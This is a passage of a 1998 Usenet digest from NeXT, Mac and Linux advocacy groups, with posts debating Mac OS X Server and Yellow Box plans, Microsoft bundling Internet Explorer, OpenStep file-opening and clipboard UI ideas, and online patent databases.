maury@remove_this.istar.ca (Maury Markowitz) wrote:
>In <759ig9$3gq$1@crib.corepower.com> Nathan Urban wrote:
>> I don't want to have to change the default app, open it, and then change
>> it back.
>
> Now I'm confused, this is exactly what OpenStep would make you do now.
Wrong.
This seems to be a common misconception - the inspector lets you change the
default app to open a file, but it also lets you open a file in a particular
app once - only without changing the default setting.
From: mmalcolm crawford <malcolm@plsys.co.uk>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.os.linux.advocacy
Subject: Re: "One thing that looks definite is....Mac OS X Server in January..."
Date: 17 Dec 98 20:30:37 GMT
Organization: P & L Systems
Message-ID: <367969ed.0@stan.astra.co.uk>
References: <adtF3rtpr.Gxq@netcom.com> <FIiROLCWddLd-pn2-Vs4dWgtBV2NH@localhost>
<adtF3tz0y.Ktn@netcom.com> <FIiROLCWddLd-pn2-T8of9jZf6IUk@localhost>
<adtF3vKso.7Es@netcom.com> <FIiROLCWddLd-pn2-ddqUWQ9NIGP9@localhost>
<75119u$712@news1.panix.com> <FIiROLCWddLd-pn2-3omxzdb9d97c@localhost>
<757fsu$5or@news1.panix.com> <FIiROLCWddLd-pn2-gdSJm1ddCEBq@localhost>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Cc: pit@iohk.SPAM-NOT.com
In <FIiROLCWddLd-pn2-gdSJm1ddCEBq@localhost> taiQ wrote:
> > What I question is the logic that Apple should pull resources away from
> > building YB on its hardware, and on Windows to do it.
>
> I haven't even seen such logic floating around here.
>
Umm ["Umm" represents a non-confrontational style of disagreement], this was
certainly part of the discussion at an earlier stage.
> Yes, the highest
> priority should naturally go to getting the PowerPC version out
> (MOSXS) and then finishing (MOSX).
>
And what about the Intel version? Based on one of your earlier posts...
> OSX/Intel, even if it would be planned, would face a big, costly
> compatibility barrier which OTOH Linux solves or has solved by huge
> collective effort. Without that support, common peripherals mean only
> as much as they do to Mac users today.
>
.. you seem to suggest that you're unaware of the current existence of
Rhapsody/Intel... Rhapsody was ported *from* Intel *to* PPC.
> What comes to other YB projects, I
> would think some of the other platform work could be done in parallel
> with the main MOSX project by increasing headcount...
>
Maybe, maybe not; "The mythical man month" comes to mind. NeXT managed to
support four commercial platforms, development of new technologies etc.etc.
with only about 300 engineers.
> Yes, these are welcome gestures although not
> image-building in the over-powering and mind-numbing headline
> capturing sense. The StepWise folks had some good ideas and I'd be
> interested in learning more of e.g. which YB technologies could be
> released in the (semi-)open and under what conditions to create
> synergies that help Apple while helping the Linux community help
> themselves.
>
I'm not sure which of our "good ideas" you're referring to?
Don and Patrick made a "Modest Proposal" (cf
http://www.of.org/rhaptel/proposal/index.html) a while back which sent
shockwaves around some parts of the Net, suggesting that "Apple should become
a part of the open source community by releasing the Mach OS and Driver
source code." This is a rather different idea than releasing source code to
YB. That said, NeXT/Apple has released some source to Don as part of the
MiscKit project (e.g. for IXKit), but again only for kits which are no longer
commercially supported.
Whilst I'm fairly neutral about opensourcing the Mach / BSD layer (although
it's probably a Good Thing, and Apple has already stated that source will be
free to some universities anyway) I personally think it unlikely that source
to YB itself will be released, as it's unlikely to be in Apple's commercial
interest, at least for a while. To some extent at least commercial success
with this sort of enterprise seems predicated on having a technical
consultancy business arm... and that's exactly what Apple's moving *away*
from (insofar as it had such through NeXT).
mmalc.
Contributing editor, Stepwise.
From: Jonathan W Hendry <jhendry@shrike.depaul.edu>
Subject: Re: YB, IB, OPENSTEP, OPENSOURCE RAD...
Newsgroups: comp.sys.next.advocacy
References: <1Ypb2.1190$f97.1320@news.rdc1.sdca.home.com> <SCOTT.98Dec11174346@slave.doubleu.com> <qcDd2.4402$f97.3735@news.rdc1.sdca.home.com> <367705A9.2E8E1132@nstar.net> <SCOTT.98Dec16112323@slave.doubleu.com> <Y4ee2.75$u04.92@news.rdc1.sdca.home.com>
Message-ID: <3679742f.0@news.depaul.edu>
Date: 17 Dec 98 21:14:23 GMT
Rex Riley <rr6013@yahoo.com> wrote:
> Absolutely, correct... no interaction going on there. Freeware is a one
> way transaction, take, take, take. OpenSource answers the development in a
> vacuum Freeware created.
Not necessarily. There's a whole lot of dormant source code out there.
Merely making some software 'OpenSource' doesn't automatically generate
an active user/developer community around it.
From: pxpst2@unixs.cis.pitt.edu (Peter)
Newsgroups: comp.sys.next.advocacy
Subject: Re: RFI ranting...again!
Date: Thu, 17 Dec 1998 16:16:28 -0500
Organization: University Of Pittsburgh
Distribution: world
Message-ID: <pxpst2-1712981616290001@pelli.pathology.pitt.edu>
References: <3677D64D.3EE2DFFE@msi.se>
In article <3677D64D.3EE2DFFE@msi.se>, Harald Ellmann <ellmann@msi.se> wrote:
> I rellay am wondering why MacWeek has Robert Morgan of RFI as a
> contributor. Have you read his latest column? It´s full of nonsense and
> shows what 2 REAL reality distortion field is. Some excerpts.
< BULL SHIT SNIPPED>
I just read every other word.....I find it makes more sense that way
From: "Brian Lewis" <brianl@erinet.com>
Newsgroups: comp.os.linux.advocacy,comp.os.ms-windows.nt.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.amiga.advocacy,comp.unix.advocacy
Subject: Re: Why can't MS ship a browser? Everyone else does.
Date: Thu, 17 Dec 1998 16:46:13 -0500
Organization: Erinet Online Communications
Message-ID: <75bud6$g2g$1@news.erinet.com>
References: <3679789f.27413999@news2.asan.com>
NNTP-Posting-Date: 17 Dec 1998 21:51:34 GMT
I'd imagine if Microsoft were to ship IE and Netscape, there wouldn't be a
issue.
Willy wrote in message <3679789f.27413999@news2.asan.com>...
>Linux distributions have browsers on them. MacOS 8.x ships with two
>browsers. And I'd bet that Be and various Unix OSes now ship with
>browsers. So why can MS ship a browser with Windows? Why is everyone
>else allowed to ship Navigator with their OS but Microsoft can't ship
>IE?
From: "Charles Swiger" <chuck@codefab.com>
Newsgroups: comp.sys.mac.advocacy,comp.os.linux.advocacy,comp.sys.next.advocacy
Subject: Re: "One thing that looks definite is....Mac OS X Server in January..."
Date: Thu, 17 Dec 1998 21:39:31 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <75btmj$dbp$1@nnrp1.dejanews.com>
References: <adtF3sBG8.Jss@netcom.com> <74qabb$nve$1@flotsam.uits.indiana.edu> <3670B38C.812ACA60@nstar.net> <joe.ragosta-1112980646160001@elk62.dol.net> <3671484B.5166335E@nstar.net> <199812120228251239508@ts4-19.aug.com> <3672F161.9A5BFCCE@nstar.net> <19981213123438840862@ts2-18.aug.com> <7546k2$rhg$1@nnrp1.dejanews.com> <3675C7C4.861C5575@nstar.net> <756kn2$unk$1@nnrp1.dejanews.com> <3676E3E3.C0160448@ericsson.com>
In article <3676E3E3.C0160448@ericsson.com>,
Michael Peck <michael.peck@ericsson.com> wrote:
> Charles Swiger wrote:
>> So will I. With the exception of X, I basicly agreed with you that
>> everything you listed was something I'd want in a "good unix".
[ ... ]
> Unbelievable. Not literally, of course, just...very interesting.
Also, a caveat: just because those things were there does not guarantee that
they will be in the final release. For instance, given the deal with US laws
re: encryption software, I wouldn't be surprised if kerberos doesn't ship. On
the other hand, it's nice to know it's buildable.
>> Hey-- maybe there won't be pthreads (dunno, I haven't bothered to look) or
>> something like that. But almost all of what you asked is there.
>
> It would be good if OS X developers were able to get a headstart using
> pthreads in preparation for multi-processing hardware. These days
> threads are really important, even for GUI software; perhaps the next
> major period of OS X development should focus on re-entrance as a goal.
That's already been done-- a lot of work has gone into making many of the YB
frameworks thread-safe. Furthermore, Mach provides both native kernel
threading and an excellent user-side thread paradigm (one that's
multiprocessor aware, network aware [in combination with Mach messaging], and
can deal with heterogenous processors).
>> Perhaps. Or maybe someone'll ship a trial version of the third-party CD.
>
> Yeah, but...what would that accomplish? I need a system that runs X
> software...what's this, a trial version? What the hell good does this do
> me?
It lets you run X and decide whether to pay for that product? Or maybe
someone'll build a freely available port like they did with NEXTSTEP way back
when.
[ ... ]
> We've been around this one, and I think we both know that advocacy isn't
> a part of this discussion, Chuck. If preferences determined what were
> included in Mac OS X, would you include Carbon and/or the Blue Box in
> the first place? Of course not.
Why do you make that assumption? I'd certainly want to use the Blue Box to
run things like Office 98 for the Mac (if M$ didn't do a native port). As
for Carbon, I have no desire to program to it, but I don't object to my
system being able to run Carbon apps as full, native processes, either.
[ ... ]
> One word, Chuck: remotability. Does Mac OS X have it? No.
Remotability is very, very important. I seem to recall Mike said that
Apple's replacement imaging system would be capable of supporting
remotability, but who knows? I don't....
> Now imagine a Mac OS X service that will remote eQD programs via the X
> Protocol (or a compressed derivative, like X.Fast) to *any* X server in
> existence. Just an idea. Call it the ultimate app server. NT already
> does this; you want to compete in that market, I think this is a very
> good idea.
That is a good idea.
-Chuck
-----------== Posted via Deja News, The Discussion Network ==----------
http://www.dejanews.com/ Search, Read, Discuss, or Start Your Own
From: willy1@rocketmail.com (Willy)
Newsgroups: comp.os.linux.advocacy,comp.os.ms-windows.nt.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.amiga.advocacy,comp.unix.advocacy
Subject: Why can't MS ship a browser? Everyone else does.
Date: Thu, 17 Dec 1998 21:37:39 GMT
Organization: Posted via RemarQ, http://www.remarQ.com - Discussions start here!
Message-ID: <3679789f.27413999@news2.asan.com>
Linux distributions have browsers on them. MacOS 8.x ships with two
browsers. And I'd bet that Be and various Unix OSes now ship with
browsers. So why can MS ship a browser with Windows? Why is everyone
else allowed to ship Navigator with their OS but Microsoft can't ship
IE?
Newsgroups: comp.sys.next.advocacy
From: maury@remove_this.istar.ca (Maury Markowitz)
Subject: Re: NEXT UI on MacOS 8.x
Content-Type: text/plain; charset=us-ascii
Message-ID: <F44qD6.Fy@T-FCN.Net>
Sender: news@T-FCN.Net
Content-Transfer-Encoding: 7bit
Cc: nurban@crib.corepower.com
Organization: needs one
References: <14Nc2.20795$q15.465873@news.san.rr.com> <F42F6F.A62@T-FCN.Net>
<759iqr$3hu$1@crib.corepower.com> <F44AnB.Evo@T-FCN.Net>
<75bfr1$5mh$1@crib.corepower.com>
Mime-Version: 1.0
Date: Thu, 17 Dec 1998 21:58:17 GMT
In <75bfr1$5mh$1@crib.corepower.com> Nathan Urban wrote:
> As far as I know, it worked kind of like Pastry.app, where each clipboard
> is kind of like a pasteboard that you can drag-and-drop. So you could
> drop images, sounds, etc. into a shelf as well. However, I never used
> it or saw it firsthand, so you'll have to ask someone else like Malcolm.
At this point I should reintroduce an idea that I think is LONG overdue
on any OS.
Right now the Mac's printer system uses n icons on the desktop (well,
anywhere really I think) and the one that is the default printer for Print
in apps is outlined in a heavy black band (bolded sorta). When you open
the icon you get two panes, the upper showing the current job, and the
lower showing pending ones. I quite like it.
That the same system isn't used for the clipboard makes me scratch my
head. On the Mac there's the clip and the Scrapbook (which no one uses).
These should work just like the printers, with the NSGeneralPasteboard
being the one that's outlined. Although it would typically only have the
active item in it, the user could drag other items into the pane. Other
icons would represent what the scrapbook is for now.
Maury
From: jmcn@msg.ti.com (Jason McNorton)
Newsgroups: comp.os.linux.advocacy,comp.os.ms-windows.nt.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.amiga.advocacy,comp.unix.advocacy
Subject: Re: Why can't MS ship a browser? Everyone else does.
Date: Thu, 17 Dec 1998 15:57:30 -0600
Organization: Texas Instruments
Message-ID: <MPG.10e33a4824365a27989803@news.itg.ti.com>
References: <3679789f.27413999@news2.asan.com>
NNTP-Posting-Date: 17 Dec 1998 21:57:32 GMT
In article Willy, willy1@rocketmail.com says...
> Linux distributions have browsers on them. MacOS 8.x ships with two
> browsers. And I'd bet that Be and various Unix OSes now ship with
> browsers. So why can MS ship a browser with Windows? Why is everyone
> else allowed to ship Navigator with their OS but Microsoft can't ship
> IE?
>
Because Microsoft has "won" and everyone in the computer industry hates
the "guy on top".
Newsgroups: comp.sys.next.advocacy
From: maury@remove_this.istar.ca (Maury Markowitz)
Subject: Re: MacOS X and file associations, etc.
Content-Type: text/plain; charset=us-ascii
Message-ID: <F44q5H.AL@T-FCN.Net>
Sender: news@T-FCN.Net
Content-Transfer-Encoding: 7bit
Cc: spagiola@my-dejanews.com
Organization: needs one
References: <756k6o$p4e$1@geraldo.cc.utexas.edu> <19981216074540.14116.00000011@ng57.aol.com>
<distler-1612980948250001@dial-104-21.ots.utexas.edu> <759ig9$3gq$1@crib.corepower.com>
<F44Aww.F4v@T-FCN.Net> <75bmqv$78l$1@nnrp1.dejanews.com>
Mime-Version: 1.0
Date: Thu, 17 Dec 1998 21:53:40 GMT
In <75bmqv$78l$1@nnrp1.dejanews.com> spagiola@my-dejanews.com wrote:
> No. The NeXTSTEP/OPENSTEP inspector allows you to open a given file using
> a
> given app FOR THAT TIME ONLY without changing the default. Just
> double-click
> on the appropriate app's icon in the inspector panel.
Ahhh, never knew that. I wouldn't have discovered this either I don't
think.
Maury
From: Michael.Peck@ericsson.com
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.os.linux.advocacy
Subject: Re: "One thing that looks definite is....Mac OS X Server in January..."
Date: Thu, 17 Dec 1998 21:57:44 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <75buon$edj$1@nnrp1.dejanews.com>
References: <adtF3rtpr.Gxq@netcom.com> <FIiROLCWddLd-pn2-Vs4dWgtBV2NH@localhost> <adtF3tz0y.Ktn@netcom.com> <FIiROLCWddLd-pn2-T8of9jZf6IUk@localhost> <adtF3vKso.7Es@netcom.com> <FIiROLCWddLd-pn2-ddqUWQ9NIGP9@localhost> <75119u$712@news1.panix.com> <FIiROLCWddLd-pn2-3omxzdb9d97c@localhost> <757fsu$5or@news1.panix.com> <FIiROLCWddLd-pn2-gdSJm1ddCEBq@localhost>
In article <FIiROLCWddLd-pn2-gdSJm1ddCEBq@localhost>,
pit@iohk.SPAM-NOT.com (taiQ) wrote:
> > What I question is the logic that Apple should pull resources away from
> > building YB on its hardware, and on Windows to do it.
>
> I haven't even seen such logic floating around here.
That's because the logic has not been suggested by anyone but Salvatore
Denaro. Among the many things that he has stuffed into mouths ("Are you
saying that...?" with no reply later becomes "You specifically said...") has
been the idea that Apple should "pull resources away from building YB on its
hardware."
How interesting that my cost proposal (which didn't originally involve Sal,
incidentally) specifically stated that an engineer and MBA intern were *hired*
for the project in question, not drawn away from any existing Apple projects.
The evidence for all of this is overflowing in DejaNews. Salvatore Denaro
has, effectively, been *creating* arguments out of thin air, attributing them
to opponents, and then shadowboxing them in USENET in order to bait flames.
And he gets them whenever I have the time.
[cut]
-----------== Posted via Deja News, The Discussion Network ==----------
http://www.dejanews.com/ Search, Read, Discuss, or Start Your Own
From: distler@golem.ph.utexas.edu (Jacques Distler)
Newsgroups: comp.os.linux.advocacy,comp.os.ms-windows.nt.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.amiga.advocacy,comp.unix.advocacy
Subject: Re: Why can't MS ship a browser? Everyone else does.
Date: Thu, 17 Dec 1998 16:02:05 -0600
Organization: Physics Department, University of Texas at Austin
Message-ID: <distler-1712981602050001@cheshire.ph.utexas.edu>
References: <3679789f.27413999@news2.asan.com> <75bud6$g2g$1@news.erinet.com>
/gnVR"|LWyKVK{`$&t&`k{]Q^x*"ihe+^hTvWs@IEMtYI5RVzGFBPcMu`}>@#^Fm:<)M
w83/\[@#\u?TVrF3fqDjK?
In article <75bud6$g2g$1@news.erinet.com>, "Brian Lewis"
<brianl@erinet.com> wrote:
>I'd imagine if Microsoft were to ship IE and Netscape, there wouldn't be a
>issue.
>
>Willy wrote in message <3679789f.27413999@news2.asan.com>...
>>Linux distributions have browsers on them. MacOS 8.x ships with two
>>browsers. And I'd bet that Be and various Unix OSes now ship with
>>browsers. So why can MS ship a browser with Windows? Why is everyone
>>else allowed to ship Navigator with their OS but Microsoft can't ship
>>IE?
Ya can ship what you want. The question is whether you *force* people to
install it. The browsers are optional installs in Linux distributions and
MacOS 8.x.
IE is *not* an optional install in Win '98. In fact, Microsoft claims that
even *attempting* to remove it from the desktop will cause your computer
to shrivel into dust.
Methinks you are a troll.
JD
--
PGP public key: http://golem.ph.utexas.edu/~distler/distler.asc
From: David Yeh <dly8b@Virginia.EDU>
Newsgroups: comp.os.linux.advocacy,comp.os.ms-windows.nt.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.amiga.advocacy,comp.unix.advocacy
Subject: Re: Why can't MS ship a browser? Everyone else does.
Date: 17 Dec 1998 22:08:00 GMT
Organization: University of Virginia
Message-ID: <75bvc0$d41$1@murdoch.acc.Virginia.EDU>
References: <3679789f.27413999@news2.asan.com>
In comp.sys.mac.advocacy Willy <willy1@rocketmail.com> wrote:
> Linux distributions have browsers on them. MacOS 8.x ships with two
> browsers. And I'd bet that Be and various Unix OSes now ship with
> browsers. So why can MS ship a browser with Windows? Why is everyone
> else allowed to ship Navigator with their OS but Microsoft can't ship
> IE?
Who said they can't ship IE?
-dave
From: distler@golem.ph.utexas.edu (Jacques Distler)
Newsgroups: comp.sys.next.advocacy
Subject: Re: NEXT UI on MacOS 8.x
Date: Thu, 17 Dec 1998 16:22:09 -0600
Organization: Physics Department, University of Texas at Austin
Message-ID: <distler-1712981622090001@cheshire.ph.utexas.edu>
References: <14Nc2.20795$q15.465873@news.san.rr.com> <F42F6F.A62@T-FCN.Net> <759iqr$3hu$1@crib.corepower.com> <F44AnB.Evo@T-FCN.Net> <75bfr1$5mh$1@crib.corepower.com> <F44qD6.Fy@T-FCN.Net>
/gnVR"|LWyKVK{`$&t&`k{]Q^x*"ihe+^hTvWs@IEMtYI5RVzGFBPcMu`}>@#^Fm:<)M
w83/\[@#\u?TVrF3fqDjK?
In article <F44qD6.Fy@T-FCN.Net>, maury@remove_this.istar.ca (Maury
Markowitz) wrote:
> That the same system isn't used for the clipboard makes me scratch my
>head. On the Mac there's the clip and the Scrapbook (which no one uses).
>These should work just like the printers, with the NSGeneralPasteboard
>being the one that's outlined. Although it would typically only have the
>active item in it, the user could drag other items into the pane. Other
>icons would represent what the scrapbook is for now.
Isn't that (sorta) the way "clippings" work under the current MacOS?
Highlight a block of text. Drag it to the desktop. It becomes a little
"text clipping" icon. The name is the first few words of the text. Drag
this text clipping into any open window, and the block of text gets pasted
in place.
I've never tried this with other data types (don't think it works). But it
could be extended to work with other data types, with a characteristic
icon for each one.
--
PGP public key: http://golem.ph.utexas.edu/~distler/distler.asc
From: Pascal Haakmat <ahaakmat@cable.a2000.nl>
Newsgroups: comp.os.linux.advocacy,comp.os.ms-windows.nt.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.amiga.advocacy,comp.unix.advocacy
Subject: Re: Why can't MS ship a browser? Everyone else does.
Date: Thu, 17 Dec 1998 23:40:39 +0100
Organization: A2000 Kabeltelevisie & Telecommunicatie
Message-ID: <3679883C.5473F57@cable.a2000.nl>
References: <3679789f.27413999@news2.asan.com> <MPG.10e33a4824365a27989803@news.itg.ti.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Jason McNorton wrote:
> Because Microsoft has "won" and everyone in the computer industry hates
> the "guy on top".
How quaint this will sound in twenty years.
Pascal.
From: smithwNOSPAM@tankNOSPAM.math.byu.edu (Dr. William V. Smith)
Newsgroups: comp.sys.next.advocacy
Subject: Re: the future of OS X server is bleak
Date: 17 Dec 1998 15:42:42 -0700
Organization: Brigham Young University
Message-ID: <ygclnk65r19.fsf@tank.i-have-a-misconfigured-system-so-shoot-me>
George Graves <gmgraves@slip.net> wrote:
: There aren't that many Yellow-Box apps (and won't be despite the fact
: that the Yellow Box is a far better cross-platform development
: environment than is Java) and the MacOS that they are saying OS-X server
: will ship with is OS8.1.
I belive this is not so (about 8.1) server ships (will ship) with 8.5*.
[At least so one Apple person tells me]
When it will ship . . .
--
Bill Smith, BYU mathematics dept. ph. 378-2061, fax 378-3703
email: smithwNOSPAM@NOSPAM.math.byu.edu Remove NOSPAM for legitimate mail
From: willy1@rocketmail.com (Willy)
Newsgroups: comp.os.linux.advocacy,comp.os.ms-windows.nt.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.amiga.advocacy,comp.unix.advocacy
Subject: Re: Why can't MS ship a browser? Everyone else does.
Date: Thu, 17 Dec 1998 22:59:44 GMT
Organization: Posted via RemarQ, http://www.remarQ.com - Discussions start here!
Message-ID: <36798c84.32506311@news2.asan.com>
References: <3679789f.27413999@news2.asan.com> <75bud6$g2g$1@news.erinet.com>
On Thu, 17 Dec 1998 16:46:13 -0500, in comp.os.ms-windows.advocacy
"Brian Lewis" <brianl@erinet.com> wrote:
>I'd imagine if Microsoft were to ship IE and Netscape, there wouldn't be a
>issue.
Is Netscape going to pay Microsoft a royalty with every copy of
Windows sold? That could very well ruin Netscape. However, they
certainly don't deserve a free ride either.
From: "Charles Swiger" <chuck@codefab.com>
Newsgroups: comp.sys.mac.advocacy,comp.os.linux.advocacy,comp.sys.next.advocacy
Subject: Re: "One thing that looks definite is....Mac OS X Server in January..."
Date: Thu, 17 Dec 1998 23:12:48 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <75c35d$i78$1@nnrp1.dejanews.com>
References: <adtF3sBG8.Jss@netcom.com> <74qabb$nve$1@flotsam.uits.indiana.edu> <3670B38C.812ACA60@nstar.net> <joe.ragosta-1112980646160001@elk62.dol.net> <3671484B.5166335E@nstar.net> <199812120228251239508@ts4-19.aug.com> <3672F161.9A5BFCCE@nstar.net> <19981213123438840862@ts2-18.aug.com> <7546k2$rhg$1@nnrp1.dejanews.com> <3675C7C4.861C5575@nstar.net> <756kn2$unk$1@nnrp1.dejanews.com> <3676E3E3.C0160448@ericsson.com> <slrn77dv97.mnj.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu> <3677050B.69FE4314@nstar.net> <slrn77e2hk.mnj.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu> <36793872.1759FF5@nstar.net>
In article <36793872.1759FF5@nstar.net>,
"Michael J. Peck" <mjpeck@nstar.net> wrote:
> Matt Kennel wrote:
>> Because the whole mass of stuff surrounding X, server + clients is something
>> that NeXT technology did signficantly better. That wasn't true with
>> gzip, tar, perl, blah blah blah.
>>
>> I like Unix, but I bear no torch for X.
>
> As I told Chuck, this isn't a matter of advocacy or preferences. The
> fact that you "bear no torch for X" shouldn't have anything to do with
> your objective assessment of the necessity of its inclusion.
It would significantly improve interoperability with other Unices if MOXS
shipped with an X server, and that'd be good. But it's not essential.
-Chuck
-----------== Posted via Deja News, The Discussion Network ==----------
http://www.dejanews.com/ Search, Read, Discuss, or Start Your Own
From: "Brian Lewis" <blewis@cablestogo.com>
Newsgroups: comp.os.linux.advocacy,comp.os.ms-windows.nt.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.amiga.advocacy,comp.unix.advocacy
Subject: Re: Why can't MS ship a browser? Everyone else does.
Date: Thu, 17 Dec 1998 18:24:34 -0500
Organization: Erinet Online Communications
Message-ID: <75c49m$o87$1@news.erinet.com>
References: <3679789f.27413999@news2.asan.com> <75bud6$g2g$1@news.erinet.com> <distler-1712981602050001@cheshire.ph.utexas.edu>
NNTP-Posting-Date: 17 Dec 1998 23:32:06 GMT
I was simply stating my opinion. I think that MS could have appeased the DOJ
(at least in the browser issue) by simply bundling Netscape as well as IE.
In your first post, you only mentioned "shipping" browsers with operating
systems. Your last statement seems to ask why MS isn't allowed to ship IE. I
think the governement's position is that by not shipping netscape with '98,
they are leveraging their OS dominance to proliferate their browser. A
position that IMHO could have been avoided by simply netscape along side of
IE.
Jacques Distler wrote in message ...
>In article <75bud6$g2g$1@news.erinet.com>, "Brian Lewis"
><brianl@erinet.com> wrote:
>
>>I'd imagine if Microsoft were to ship IE and Netscape, there wouldn't be a
>>issue.
>>
>>Willy wrote in message <3679789f.27413999@news2.asan.com>...
>>>Linux distributions have browsers on them. MacOS 8.x ships with two
>>>browsers. And I'd bet that Be and various Unix OSes now ship with
>>>browsers. So why can MS ship a browser with Windows? Why is everyone
>>>else allowed to ship Navigator with their OS but Microsoft can't ship
>>>IE?
>
>Ya can ship what you want. The question is whether you *force* people to
>install it. The browsers are optional installs in Linux distributions and
>MacOS 8.x.
>
>IE is *not* an optional install in Win '98. In fact, Microsoft claims that
>even *attempting* to remove it from the desktop will cause your computer
>to shrivel into dust.
>
>Methinks you are a troll.
>
>JD
>
>--
>PGP public key: http://golem.ph.utexas.edu/~distler/distler.asc
From: gilley <gilley@netunlimited.net>
Newsgroups: comp.sys.next.advocacy
Subject: Now, what software to buy
Date: Thu, 17 Dec 1998 17:44:55 -0500
Organization: NetUnlimited, Inc.
Message-ID: <36798966.4110AE0F@netunlimited.net>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
OK, it looks like I could have some hope for running NeXT on my
thinkpad.
So what software will I need? CDs, versions, etc. ? I will be doing
Object-C coding
so I need dev. stuff. Anybody have unused software for sale or donation?
Thanks, and thanks for previous replies.
Sean
From: seanl@cs.umd.edu (Sean Luke)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Microsoft patented 'completion'
Date: 18 Dec 1998 00:07:50 GMT
Organization: U of Maryland, College Park, MD 20742
Message-ID: <75c6cm$a8r$1@cronkite.cs.umd.edu>
References: <36778d0e.0@news.depaul.edu> <cdoutyF42o5s.Lv3@netcom.com> <36784003.14BC83CF@cygnus.com> <cdoutyF433M5.FxE@netcom.com> <FIiROLCWddLd-pn2-uR2ZUMOo5zdj@localhost>
NNTP-Posting-Date: 18 Dec 1998 00:07:50 GMT
taiQ (pit@iohk.SPAM-NOT.com) wrote:
> On Thu, 17 Dec 1998 00:49:17, cdouty@netcom.com (Chris Douty) thought
> aloud:
> >
> > Good question. That's part of why I wondered if there is a freely
> > accessible patent database. I'd like to see exactly what MS's "method
> > and apparatus" are. There is always the possiblity that they really did
> > come up with a novel method for suggesting completions. I rather doubt
> > it, but it is possible.
> IBM has a patent database available to the public. I hope this link
> takes you there, or at least drops you off near the corner...
I've got a better idea: the US Patent and Trademark office now has on-line
both its front-page citation and full-text patent databases. Very useful
indeed.
http://www.uspto.gov
Sean
From: Jonathan W Hendry <jhendry@shrike.depaul.edu>
Subject: Re: Microsoft patented 'completion'
Newsgroups: comp.sys.next.advocacy
References: <36778d0e.0@news.depaul.edu> <cdoutyF42o5s.Lv3@netcom.com> <36784003.14BC83CF@cygnus.com> <cdoutyF433M5.FxE@netcom.com> <FIiROLCWddLd-pn2-uR2ZUMOo5zdj@localhost> <75c6cm$a8r$1@cronkite.cs.umd.edu>
Message-ID: <3679a7a4.0@news.depaul.edu>
Date: 18 Dec 98 00:53:56 GMT
Sean Luke <seanl@cs.umd.edu> wrote:
> TaiQ wrote:
> > IBM has a patent database available to the public. I hope this link
> > takes you there, or at least drops you off near the corner...
> I've got a better idea: the US Patent and Trademark office now has on-line
> both its front-page citation and full-text patent databases. Very useful
> indeed.
> http://www.uspto.gov
They're both good, and work best when used together. The uspto
database gives you text, but no images. The IBM database gives
you images, but just a little text.
From: dulino@localhost.localdomain (Oleg Dulin)
Newsgroups: comp.os.linux.advocacy,comp.os.ms-windows.nt.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.amiga.advocacy,comp.unix.advocacy
Subject: Re: Why can't MS ship a browser? Everyone else does.
References: <3679789f.27413999@news2.asan.com> <MPG.10e33a4824365a27989803@news.itg.ti.com>
Message-ID: <slrn77j8d2.t4.dulino@localhost.localdomain>
Date: Fri, 18 Dec 1998 00:52:27 GMT
NNTP-Posting-Date: Thu, 17 Dec 1998 19:52:27 EDT
Organization: NETPLEX Internet Services - http://www.ntplx.net/
On Thu, 17 Dec 1998 15:57:30 -0600, Jason McNorton <jmcn@msg.ti.com> wrote:
>Because Microsoft has "won" and everyone in the computer industry hates
>the "guy on top".
And ?
Remember IBM of late-70's to mid-80's ?
Only now it is ressurecting.
--
Oleg Dulin,
Clarkson University, Computer Engineering
http://www.clarkson.edu/~dulino
From: SPAMLESSforrest@west.net (Forrest Cameranesi)
Newsgroups: comp.sys.next.advocacy
Subject: Re: NEXT UI on MacOS 8.x
Message-ID: <SPAMLESSforrest-1712981706570001@term5-42.vta.west.net>
References: <14Nc2.20795$q15.465873@news.san.rr.com> <F42F6F.A62@T-FCN.Net> <759iqr$3hu$1@crib.corepower.com> <F44AnB.Evo@T-FCN.Net> <75bfr1$5mh$1@crib.corepower.com> <F44qD6.Fy@T-FCN.Net> <distler-1712981622090001@cheshire.ph.utexas.edu>
Organization: Obsidian
m[*bZ@orwvjNs_Y`HucO|hS5B\Wtfn[I;-a7fYVxYNgy^&BAA8V:/PE)ifFiP$Y,n.^E
IW*iW:)XcO:j!0sptC34>3492bv9g8xXx[,J+`fYSPIbr8+_9?HpL(5!eY$4_``#GbcR
>NN3xw;&u1*2{u3
Date: Thu, 17 Dec 1998 17:06:57 -0800
NNTP-Posting-Date: Thu, 17 Dec 1998 17:02:24 PDT
In article <distler-1712981622090001@cheshire.ph.utexas.edu>,
distler@golem.ph.utexas.edu (Jacques Distler) wrote:
>Isn't that (sorta) the way "clippings" work under the current MacOS?
>Highlight a block of text. Drag it to the desktop. It becomes a little
>"text clipping" icon. The name is the first few words of the text. Drag
>this text clipping into any open window, and the block of text gets pasted
>in place.
>I've never tried this with other data types (don't think it works). But it
>could be extended to work with other data types, with a characteristic
>icon for each one.
It works with many things, everything but 3D and movies I think. Text,
